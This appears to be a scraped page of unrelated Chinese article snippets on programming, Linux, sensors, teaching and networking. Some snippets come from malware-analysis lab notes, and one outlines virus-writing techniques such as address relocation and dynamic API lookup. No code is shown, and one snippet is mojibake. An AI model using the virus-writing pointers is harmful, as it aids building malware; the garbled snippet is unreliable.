英文辅音字母是除A、E、I、O、U以外的字母。本题要求编写程序,统计给定字符串中大写辅音字母的个数。
英文辅音字母是除A、E、I、O、U以外的字母。本题要求编写程序,统计给定字符串中大写辅音字母的个数。 输入格式: 输入在一行中给出一个不超过80个字符、并以回车结束的字符串。 输出格式: 输出在一行中给出字符串中大写辅音字母的个数。 …...

Java之统计并输出文本文件中元音字母a,e,i,o,u的个数
把它简化了。。这里只有求a的个数 import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException;public class Test {public static void main(String[] args) {File file1new …...

Codeforces 433E
自动机数位dp HDU 2457 /f[u]r,r������u�ĺ��� /last[u]r,r������u�ĺ&…...

MySQL同步数据到Elasticsearch
背景 随着平台的业务日益增多,基于数据库的全文搜索查询速度较慢,已经无法满足需求。所以,决定基于Elasticsearch 做一个全文搜索平台,支持业务相关的搜索需求。那么第一个问题就是:如何从MySQL同步数据到Elasticsear…...

关于\u0000的验证总结
Test public void method1() {String a String.valueOf(\u0000); //控制台输出的是空格,\u0000 表示的是Unicode值log.info("a的Unicode值:" Integer.toHexString(a.charAt(0)));// \u0000String b " "; // 空格字符串String c …...

jw和e^jwt
昨晚看到《电磁场与电磁波》时变电磁场一章,书中又一次出现了jw和e^jwt,之前一直无法理解诸如为什么电感的阻抗可以表示成jwL之类的问题,jw是从哪里推导出来的呢?为什么可以直接与L相乘呢? 昨晚在网上查了一下…...

C++中%lu,%u,%hu,%i,%o,%x,%X,%E/e,%c,%s表示含义
%d 有符号10进制整数(%ld 长整型,%hd短整型 ) %hu 无符号短整形(%u无符号整形,%lu无符号长整形) %i 有符号10进制整数 (%i 和%d 没有区别,%i 是老式写法,都…...
HDU-1012,u Calculate e
Problem Description: A simple mathematical formula for e is where n is allowed to go to infinity. This can actually yield very accurate approximations of e using relatively small values of n. Output: Output the approximations of e ge...

rpm -q -i -e -U
rpm -q(query)软件包查询功能 rpm -i(install)软件包安装功能 rpm -e(erase,eliminate)实现软件包卸载功能 rpm -U(upgrade)实现软件包升级功能...

EST | 城环所朱永官院士团队在抗生素抗性基因的土壤食物网传递的研究中取得进展...
https://doi.org/10.1021/acs.est.2c00710抗生素耐药性的扩散已严重危险全球人类的健康。畜禽粪便有机肥的施用正在使得土壤生态系统成为抗生素抗性基因(ARGs)重要的储存库和传播的“热区”。土壤动物是土壤生态系统的重要组成部分,参与众多生…...

MPB:中科院城环所杨军组-基于DNA宏条形码的水体浮游细菌群落测序建库方法...
为进一步提高《微生物组实验手册》稿件质量,本项目新增大众评审环节。文章在通过同行评审后,采用公众号推送方式分享全文,任何人均可在线提交修改意见。公众号格式显示略有问题,建议电脑端点击文末阅读原文下载PDF审稿。在线文档(…...

广域网技术——SR-MPLS技术基础理论讲解
目录 SR-MPLS基础概念 使用Segment Routeing MPLS技术的优点 Segment Routeing MPLS的基本原理 SRGB Segment ID Bind SID 粘连标签 OSPF对于SR-MPLS的扩展 OSPF对邻接SID做了细分 10类LSA定义的TLV类型 10类LSA定义的TLV的报文格式 ISIS对SR-MPLS的扩展…...

学而思王帆初中语文教学视频
职业:学而思语文教师 生日:1988年12月24日 主要成就:《中国成语大会》全国第四 简介:王帆,女,辽宁本溪人,江湖雅号“小帆老师”,学而思网校初中语文明星教师,研究生毕业于…...

太原市初中计算机课程视频,初中全课程教学视频
初中全课程教学视频 简单学习网课堂能屏蔽QQ、游戏,让学生在封闭的听课环境中专注学习。同时,听课中有师生互动问答、发呆提醒等互动功能,让学生边听边练,还能随时将课中习题加入智能错题本中。“在下面这个乘法算式中,…...

初中计算机课堂游戏设计方案,初中信息技术教学设计
初中信息技术教学设计信息技术是管理、开发和利用 信息资源的有关方法、手段与操作程序的总称。下面是小编整理的关于信息技术教学设计,希望大家认真阅读!【1】信息技术教学设计古人云: “ 行者常至,为者常成。 ” 只要我们确立目标ÿ…...

神经网络训练全过程,神经网络教学视频
谁有opencv的全部视频教程地址,求种。。。 。 OPENCV教程百度网盘免费资源在线学习 链接:?pwdybzf提取码:ybzf OPENCV教程附赠:Opencv书籍《OpenCV3编程入门》书本配套源代码08人工智能之OpenCV人脸识别案例实战视频教程07OpenCV3.3深度神经网络(DNN)…...

初中计算机学情分析,初中信息技术教学计划
初中信息技术教学计划(1)一、学情分析:1、本人担任八年级信息技术课,之前除上学年学过WORD,别的相关知识没有接触,又因为本校电校上无装FLASH。所以据学生真实情况,酌情从简单实用入手,教学生电子表格知识。…...

学期计算机教学工作反思,初中信息技术教学工作反思
在初中信息技术课堂教学中,微课的有效应用成为目前素质教育对信息技术教学深化改革的目的与硬性要求。下面是有初中信息技术教学工作反思,欢迎参阅。初中信息技术教学工作反思范文1学生们很喜欢上计算机课,特别是上机的操作课,但是…...

农村学校计算机教学内容,浅谈农村中学信息技术教学
随着计算机的迅速兴起和普及,使人们对信息技术追求的欲望空前高涨起来。而农村经济相对落后,因而先进的技术在农村的普及应用也相对较晚,虽说计算机和网络已走进我们的生活,但对农村生活的影响是不明显的,这样一来&…...
中学化学教学管理系统
中学化学教学管理系统 如题,这个项目是给朋友做的一个,开发周期拖了好久,今天终于修改了大部分的bug,基本完成了全部功能,当然比当初设想的要简单了很多,删减掉一些不好实现,比较麻烦的功能。项…...

初中使用计算机教学反思,初中信息技术教学反思(通用5篇)
初中信息技术教学反思(通用5篇)作为一位刚到岗的教师,教学是我们的任务之一,我们可以把教学过程中的感悟记录在教学反思中,教学反思要怎么写呢?以下是小编为大家收集的初中信息技术教学反思(通用5篇),仅供参考…...
恶意代码分析实战 Lab 5-1 习题笔记
Lab 5-1 问题 1.DllMain的地址是什么? 解答: 这个我们用IDA Pro打开来查找,因为最新的IDA Pro不支持我们运行病毒那个虚拟机的版本(xp pro 32),所以下面的分析都是在win7上的 打开IDA Pro之后就会提示你…...
恶意代码分析实战 Lab 6-1 习题笔记
Lab 6-1 问题 1.在main函数调用的唯一子过程中发现的主要代码结构是什么? 解答: 我们照着书中的步骤走一遍 先静态分析一下 然后我们会发现这个WININET.DLL的导入有个函数InternetGetConnectedState,然后我们查询一下MSDN的说明 这是用于…...
恶意代码分析实战 Lab 3-1 习题笔记
Lab 3-1 问题 1.找出这个恶意代码的导入函数于字符串列表。 解答: (动态分析建议用winxp pro 32bit,下面你就知道为什么这么建议了)我们用Dependency Walker会发现这个程序只有很少的导入函数,第一是怀疑是不是加壳…...

如何编写病毒代码学习笔记
原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题 如何编写病毒代码? 首先我把最重要的两个方面列举出来。 1. 处理病毒各个绝对地址的重定位。 2. 所有需调用的api函数地址,均通过动态搜索来获…...

【数据结构基础】线性表 - 数组和矩阵
知识点数组的优点:存取速度快数组的缺点:事先必须知道数组的长度插入删除元素很慢空间通常是有限制的需要大块连续的内存块插入删除元素的效率很低数组与矩阵相关题目把数组中的 0 移到末尾283. Move Zeroes (Easy)For example, given nums [0, 1, 0, 3, 12], after calling y…...

病毒源代码Java_金猪报喜病毒源码 - 开源中国社区.pdf
金猪报喜病毒源码 - 开源中国社区2015年4月22 日 金猪报喜病毒源码 - 开源中国社区首页开源项 目Java 开源软件C# 开源软件PHP 开源软件C/C 开源软件Ruby 开源软件Python 开源软件Go开源软件JS开源软件问答技术问答 技术分享 IT大杂烩 职业生涯 站务/建议 支付宝专区 MoPaaS专区…...

如何在MD编辑器打出上下标
上标:将次幂放在两个^ 中间,例如Xn,就输入X^n^。 下标:将角标放在两个~ 中间,例如Cn就输入C~n~。 如图所示:...

springboot请求参数绑定原理篇
上篇文章写了SpringBoot 参数接收只看这一篇文章就够了,只是写了使用方法,没有写为什么,原理是什么,这篇文章也是之前的预先的计划,稍微花点时间整理下,知其然知其所以然,才算是能彻底掌握&…...

mathtype的下角标
仅作为记录,大佬请跳过。 参考 传送门...

在markdown中打出上标、下标、上、下角标、特殊符号
csdn写文章的时候经常遇到要写公式的时候,又经常使用上下角标,记录一下markdown语法怎么打出上下角标。 markdown是支持HTML语法的,所以这里就是利用html语法在markdown中输入上下角标和特殊符号 上标 n<sup>2</sup>n效果&…...

arggis怎么修改上下标_ArcGIS制图手册(4-3)标注角标
上文介绍了ArcGIS更改标注三值的方法。本文介绍更改地图中标注角标的相关内容。 除前面讲述到的几种标注之外,还有一种较为特殊的标注使用的比较频繁,就是带有上下角标的标注。如图所示,是一幅遥感地质解译图,从图中可以看出&…...

分享一个上下角标的写法
当在单元格里面的值是有上下角标的值,我们可以使用 HTML的写法 <sup> 上标 <sub> 下标 <del> 删除线 <small> 小字号 <ins> 插入字 例如:M<sup>2</sup> 5<sup>4</su…...

空气甲醛检测报警系统 源码+仿真
空气甲醛检测报警系统 源码仿真 ID:6918672130250778...

标准引领市场:四方光电参编《便携式甲醛检测仪》团体标准
为规范行业发展,确保消费者利益,由中国空气净化行业联盟发起、中国质量检验协会批准的《便携式甲醛检测仪》(T/CAQI 140—2020)团体标准于2021年2月6日实施。基于多年电化学甲醛气体传感技术的研发及较早产业化的客户端配套经验&a…...

【单片机毕业设计】基于单片机的空气质量(甲醛、甲苯)检测系统的设计
一、功能简介 项目编号:mcuclub-hj-007-3 单片机类型:STC89C52、STM32F103C8T6 具体功能: 1、通过MS1100检测甲醛值,超过设置最大值进行声光报警,并开启风扇和净化器 2、通过MQ-135检测甲苯值,超过设置…...

应用三 便携式甲醛检测仪(下)--- HT1622
前言 在上篇文章中,着重介绍了基于I2C接口的温湿度传感器SHT30的用法,本篇文章着重介绍HT1622液晶驱动的用法。HT162x 系列是由 HOLTEK 公司开发的支持多种显示方式的 LCD 驱动芯片,内部 RAM 直接映射到相对应的 LCD 显示单元。支持串行通信…...
甲醛检测仪开源项目-产品级开发(一)
前阵子开源了一个基于TencentOS tiny物联网操作系统的危险气体探测仪项目,这次,我们再来开源一个新的项目-甲醛检测仪,但是做项目之前,有必要了解下接下来要做的一些模块以及如何来进行集成。 1、简介 WZ-S型甲醛检测模组是英国达特公司开发的,是用于将环境中甲醛的含量转…...

甲醛检测仪
简介 本项目是工作中做的一个便携式手持检测仪项目,集成了自家公司的HCHO,TVOC传感器,买的sht30温湿度传感器,基本功能是能通过集成的传感器检测温湿度信息,空气中甲醛含量,TVOC含量,能通过厂家定制的段码屏…...

PICO 甲醛检测仪
模组介绍 参数 管脚定义 通讯命令 交叉干扰性 感觉吹口气都影响数据 注意事项 数据计算 Byte5 Byte4*256ppb ppmppb/1000 ppm与浓度转换关系为 由https://baike.baidu.com/item/%E7%94%B2%E9%86%9B/167033?frkg_qa#reference-[2]-4913-wrap 百科可知甲醛分子量为30.3 则 质…...

从零开始的DIY智能家居- 基于 IOT Pi 的智能甲醛检测器
智慧家居 - 基于 IOT Pi 的智能甲醛检测器 之前的文章体验 MS-RTOS 的时候入手了一个块 IOT Pi ,放着也是浪费,这次我们就利用 IOT PI 开发一个智能甲醛检测器。φ(>ω<*) 关于 IOT Pi 和 MS_RTOS 的介绍可以看看 (初识 IOT Pi 与 MS-RTOS)&…...

单片机ch2o程序_我做的甲醛检测的单片机源码
#ifndef _GLOBAL_H#define _GLOBAL_H#include #include #define uchar unsigned char#define uint unsigned int#endif#include #include #include sbit add_aP3^4;sbit add_bP3^5;sbit add_cP3^6;sbit STP3^0; //A/D启动转换信号sbit EOCP3^1; //A/D转换结束信号sbit OEP3^…...

九种查找算法-哈希查找
哈希查找算法又称散列查找算法,是一种借助哈希表(散列表)查找目标元素的方法,查找效率最高时对应的时间复杂度为 O(1)。 哈希查找算法适用于大多数场景,既支持在有序序列中查找目标元素,也支持在无序序列中…...

每日心情(持续更新......)
2009/02/13 转眼上班就一周了,日子过得有点灰暗,迷迷糊糊中起床,上班,下班。浑浑噩噩就过了,也不知道在忙些什么。女人一过了25啊,感觉这日子过得像坐火箭似的,眨眨眼,世界又变了。三…...

FreeRTOS互斥量的实验
互斥量又称互斥信号量(本质是信号量),是一种特殊的二值信号量,它和 信号量不同的是,它支持互斥量所有权、递归访问以及防止优先级翻转的特性, 用于实现对临界资源的独占式处理。本章要实现的功能是…...

NXP+FSL=400亿市值,真的现实么?
origin: http://www.eepw.com.cn/article/270455.htm我专门等待两个交易日收盘之后才动笔开始写我对NXPFSL的分析文章,是因为对这一交易,我第一个看到的新闻说两家合并后会诞生400亿市值的新巨头。至少从现在的情况看,消息确认后两个交易日收…...

千万级数据,如何做性能优化?分库分表、Oracle分区表?
目录一、Oracle是如何存储数据的?1、逻辑存储与物理存储2、进一步分析它们之间的关系3、Oracle逻辑数据块(1)块头(2)行数据(3)可用空间(4)致块头增长的原因有:…...

富力集团解码“新高端医疗”
在进军医疗的道路上,富力集团的打法颇有些厚积薄发的风范——七年时间的酝酿,正在结出丰硕的成果,并为中国社会办医领域贡献出“富力方案”,打造出“新高端医疗”概念和生动实践。 提起富力集团很多人并不陌生,富力集…...

会话保持技术:cookie、session
目录 1.概述 2.cookie 3.session 1.概述 会话保持技术的出现是因为HTTP 是一个无状态的协议,这一次请求和上一次请求是没有任何关系的,互相无法感知,上一次请求干了什么?这一次请求完全不知道,会话保持技术就是为了…...

债券买空和卖空
1、债券买空也称多头交易,投资者预测债券价格未来会上涨,自有资金短缺,从券商借入资金(存入一定的保证金),买进债券,待债券价格上涨后,再卖出债券,赚取利差。如果债券价格和预期不一致ÿ…...

c语言空循环的作用是什么意思,C语言空循环和无穷循环有的区别
跟大家普及下空循环和无穷循环的概念,空循环并不会无休止地进行下去–在重复预先指定的次数后,它就会退出循环。无穷循环会无休止地进行下去,并且永远不会退出循环。把空循环和无穷循环对比一下,就能很好地说明它们之间的区别。下…...

1:什么是空指针?区分 NULL、0 和 ‘\0‘
一、什么是空指针? 空指针 是一个特殊的指针值。 空指针 是指可以确保没有向任何一个对象的指针。通常使用宏定义 NULL 来表示空指针常量值。 空指针 确保它和任何非空指针进行比较都不会相等,因此经常作为函数发生异常时的返回值使用。另外,对于第 5 章的链表来说,也经…...

python创建空字典什么意思_Python创建空列表的字典2种方法详解
如果要在 Python 中创建键值是空列表的字典,有多种方法,但是各种方法之间是否由区别?需要作实验验证,并且分析产生的原因。本文针对两种方法做了实验和分析。如果要在 Python 中创建一个键值都是列表的字典,类似下面这…...

【计算机网络】第一章 计算机网络结构
文章目录第一章 体系结构1.1 计算机网络概述1.1.1 计算机网络的概念1.1.2 计算机网络的组成1.1.3 计算机网络的功能1.1.4 计算机网络的分类*1.1.5 计算机网络的标准化工作1.1.6 计算机网络的性能指标1.2 计算机网络体系结构与参考模型1.2.1 计算机网络分层结构1.2.2 计算机网络…...

IDEA开发 常用代码规范插件 常用辅助类插件
规范类 阿里巴巴规范 Alibaba Java Coding Guidelines 插件地址 阿里官方出的开源的代码规范插件 GitHub地址 配合阿里出的规范手册《码出高效 Java开发手册》食用效果更佳 不用购买哈!GitHub上开源的 码出高效:Java开发手册下载 静态代码检查 Sonar…...

MM功能分享(2)——允许 or 禁止创建采购信息记录工厂层级应用
MM功能分享(2)——允许 or 禁止创建采购信息记录工厂层级应用 1、应用场景 适用于公司下多个工厂使用同一价格或者形式采购,只在采购组织层级进行创建信息记录。 2、相关错误消息: 工厂信息记录不用于工厂1001内 消息号 06716 …...

【Python学习笔记】2. Python3 环境搭建
前言 将向大家介绍如何在本地搭建 Python3 开发环境。 Python3 可应用于多平台包括 Windows、Linux 和 Mac OS X。 Python3 环境搭建 本节我们将向大家介绍如何在本地搭建 Python3 开发环境。 Python3 可应用于多平台包括 Windows、Linux 和 Mac OS X。 Unix (Solaris, Li…...

群晖无密码共享 Windows访问
群晖无密码共享 Windows访问设置文件夹权限设置密码规则设置用户确认文件夹权限测试安全注意设置文件夹权限 将guest用户添加上权限。 设置密码规则 将密码规则限制取消,再进行下一步,不然无法清除guest密码,设置完成后,可以设…...

如何使用firewalld禁止用户访问特定IP
2019独角兽企业重金招聘Python工程师标准>>> 如何使用firewalld禁止用户访问特定IP 我来答 分享 举报浏览 3094 次 4个回答 #今日科普# 无滴滴年终总结受争议,给用户名加框的“示亡号”是什么意思? 深圳市七彩虹互联网络科技有限公司 知…...

百度网盘禁止查看别人分享主页的资源收集解决办法
自从百度网盘关闭个人主页的分享功能后,收集别人百度网盘分享的资料就成一件困难的事情。 但是作者发现还有另外一个入口可以收集同行的的网盘资料。这个方法就是订阅同行的百度网盘帐号,订阅后就可以在网盘的分享动态里面看到别人的公开分享的资料&…...

限制Linux指定用户访问某个文件夹,禁止其访问指定文件夹
默认情况下用户本身就只能读写执行自己目录下自己创建的文件,自己主目录以外的文件都没有写权限、执行权限;自己主目录以外的目录,则只有r和x权限,没有w权限,对于合法的ssh用户,这样的权限就已经足够了。 …...

PLSQL:动态执行表不可访问,本会话的自动统计被禁止。
如上图所示,该报错信息在不同的PL/SQL Developer版本都会出现。根据报错提示信息,可知报错原因不在工具本身。 以下提供几种解决该报错的方案: 禁止展示(不推荐) 在报错的Error对话框中,勾选 ✅ Dont show …...

5G R16+C-V2X赋能下一代智能T-Box,助力智能驾驶时代加速到来
█ 5G技术助力C-V2X持续进化,智能网联新生态逐步建立 汽车行业正面临百年未有之变局,智能汽车已经成为全球汽车产业发展的战略方向。发改委、工信部、交通部等11部委联合印发的《智能汽车创新发展战略》中指出:汽车产业与相关产业全面融合&a…...
无主键创建触发器禁止重复插入数据
无主键创建触发器禁止重复插入数据 在学习的过程中,发现很多对触发器使用都是两个表之间,实现是对A表操作生成B表数据,再去看触发器时,想创建一个在没有主键的表中,加入触发器来控制防止插入重复数据,在这个…...

分享某盘不限速神器,免费好用
名字叫速盘,看到csdn有些人居然把一个免费软件自己拿出来在卖,真的有点看不懂了。 这个软件下载文件越大,速度越快。 注意事项:必须登录某盘账号分享文件之后,点击下载才可以实现破速,具体什么原理&#…...

产品类别二级分类_医疗器械分类目录动态调整工作程序征求意见
(本报记者满雪)11月13日,国家药品监督管理局就《医疗器械分类目录动态调整工作程序(征求意见稿)》(以下简称《征求意见稿》)公开征求意见。《征求意见稿》提出,《医疗器械分类目录》(以下简称《分类目录》)动态调整包括调整目录框架等5种情形,…...
23种设计模式之十一种行为型模式
23种设计模式之十一种行为型模式1. 设计模式概述1.1 什么是设计模式1.2 设计模式的好处2. 设计原则分类3. 详解3.1 单一职责原则3.2 开闭原则3.3 里氏代换原则3.4 依赖倒转原则3.5 接口隔离原则3.6 合成复用原则3.7 迪米特法则4. Awakening5. Author1. 设计模式概述 我们的软件…...

注册必备|有源医疗器械产品技术要求附录A如何编写?
产品技术要求的重要性相信不用我再过多赘述,其实关于产品技术要求的介绍,在之前的一篇文章已经进行过详细介绍,感兴趣的可以翻过去查阅一下: [医械研发]关于产品技术要求,只看这一篇就够了!收藏+分享! 今天要跟大家分享的是有源医疗器械产品技术要求附录A的内容~ 国家…...

产品类别二级分类_医疗器械分类目录未来可能实施动态调整
天纵检测(SKYLABS)近日注意到,在2020年11月13日,国家药品监督管理局对外发布了《医疗器械分类目录动态调整工作程序(征求意见稿)》,并特向社会公开征求意见。据悉此次发布的《医疗器械分类目录动态调整工作程序(征求意见稿)》,旨在…...

医疗器械检查常见问题解答
1.什么情况下可以减免医疗器械生产许可现场检查? 回复:依据《山东省药品监督管理局关于实施医疗器械相关许可并联审批的通告》(2019年第24号)规定,对在《医疗器械生产许可证》核发、变更、延续中需要进行现场检查的&a…...

【Cloudcone】VPS 登录、防火墙设置
服务器登录、防火墙设置本来是一件很简单的事情,但是我买了国外服务器,有些地方出现了一些问题。 文章目录一、简介二、使用ipv6登录服务器三、防火墙设置四、小插曲一、简介 我一直用的腾讯云的服务器,但是带宽太低了,只有4M。最…...

三类医疗器械注册文件清单2021年以前
常温性能试验(PTR的第二章)环境试验:PTR的环境试验表格下面标注了环境试验需要测试的PTR部分,总共有13个不同的试验条件,测试的部分是相同的,表格可以重复使用。安全试验(GB9706.1-2007部分)安全试验(GB970…...

干货分享|医疗器械注册必备
本篇文章旨在为大家介绍医疗器械产品注册基础知识,相信大家都听过注册证,那么大家是否知道注册证是怎么申请下来的呢?申请前又需要做哪些准备工作呢?一起来学习下吧~ 什么是医疗器械注册根据《医疗器械注册管理办法》第三条:医疗器械注册是食品药品监督管理部门根据医疗器…...

聊一聊医疗器械注册自检规定
继10/21号发布自检规定后,昨天药监局又发了对于医疗器械注册自检规定的解读,如解读所说,为贯彻落实党中央、国务院鼓励医疗器械产业创新发展的要求,进一步深化“放管服”改革,在新版《医疗器械监督管理条例》第十四条中明确提出,医疗器械注册时提交的产品检验报告可以是医…...

单片机开发---ESP32S3移植lvgl+触摸屏
书接上文 《单片机开发—ESP32-S3模块上手》 本章内容 熟悉一下ESP32S3的开发,修改范例程序的lvgl,使之能够匹配现在的显示屏。 具体工作大概为通过SPI接口连接一块SPI串口屏幕,并且适配lvgl,最后加上触摸屏作为输入。 屏幕 …...

二类医疗器械emc注册检验、委托检验放还是第三方检验?
2019年8月6日,在广东省药品监督管理局审评认证中心有一则关于二类医疗器械企业在申请注册申报或补充检验时是否一定要提交注册检验报告吗?省局审评认证中心作为如下回应: A:按照省局相关要求,医疗器械注册申请资料中的检验报告,应执行《医疗器械监督管理条例》和原国家食…...

java随机生成字母数字组合6位数
java随机生成字母数字组合6位数 ####### 废话不多说,直接上代码 //随机数 private static final String ALLCHAR "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; // length:随机位数 public static String generateSt…...

暴力破解键盘上所有组合的密码需要多久?
暴力破解键盘上所有组合的密码需要多久? 暴力破解密码肯定是密码越长越复杂破解时间就越久,如果是大小写加数字加特殊字符肯定比单一的形式破解更为复杂困难,一般的口令密码都为6位或者8位,超过8位的比较少见。 4位和6位暴力破解…...

密码必须为6-12位数字和字母组合正则
原理 正则表达式 (?!..)表示 ’之后的字符串需要不匹配表达式才能成功匹配‘ 如 a(!?\d) , 表示a的后面不能是数字 实现 NSString *regex "^(?![0-9]$)(?![a-zA-Z]$)[0-9A-Za-z]{6,12}$";解析 解析 ^ 匹配字符串的开始位置 (?![0-9]$) 断言此位置之后&…...

Python学习日记:求解由四个数字组成的四位数个数
看见这个问题时,我们很容易想到我们学习过的排列组合知识点;显然用四个数字组成四位数(这些四位数互不相同)就是一个关于排列的问题;用数学的方法可以知道。那么怎么用Python运行解决呢?这就是本次学习日记…...

golang中随机生成一个四位数
今天我主要是想往邮箱发送一条自动生成的四位数,于是发现了go里面自带的这几个函数,展示代码如下: package commonimport ("fmt""math/rand""time" )func Createcode() string{return fmt.Sprintf("%04…...